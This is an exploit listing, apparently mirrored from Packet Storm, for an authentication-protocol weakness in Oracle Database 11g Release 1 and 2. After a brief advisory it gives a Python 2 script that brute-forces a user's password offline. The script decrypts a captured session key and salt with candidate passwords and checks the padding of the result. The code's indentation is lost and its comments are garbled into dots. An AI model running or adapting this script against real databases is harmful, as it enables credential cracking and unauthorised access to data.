Exploit for Oracle Database Authentication Protocol Security Bypass

## https://sploitus.com/exploit?id=PACKETSTORM:117503
Oracle Database is prone to a remote security-bypass vulnerability that affects the authentication protocol.  
  
An attacker can exploit this issue to bypass the authentication process and gain unauthorized access to the database.  
  
This vulnerability affects Oracle Database 11g Release 1 and 11g Release 2.  
  
  
#-*-coding:utf8 -*-  
  
import hashlib  
from Crypto.Cipher import AES  
  
def decrypt(session,salt,password):  
pass_hash = hashlib.sha1(password+salt)  
  
#......... ..... ..... .......... .. 24 ....  
key = pass_hash.digest() + '\x00\x00\x00\x00'  
decryptor = AES.new(key,AES.MODE_CBC)  
plain = decryptor.decrypt(session)  
return plain  
  
#............. ........... ...... 48 ....  
session_hex = 'EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767'  
  
#.... 10 ....  
salt_hex = 'A7193E546377EC56639E'  
  
passwords = ['test','password','oracle','demo']  
  
for password in passwords:  
session_id = decrypt(session_hex.decode('hex'),salt_hex.decode('hex'),password)  
print 'Decrypted session_id for password "%s" is %s' % (password,session_id.encode('hex'))  
if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08':  
print 'PASSWORD IS "%s"' % password  
break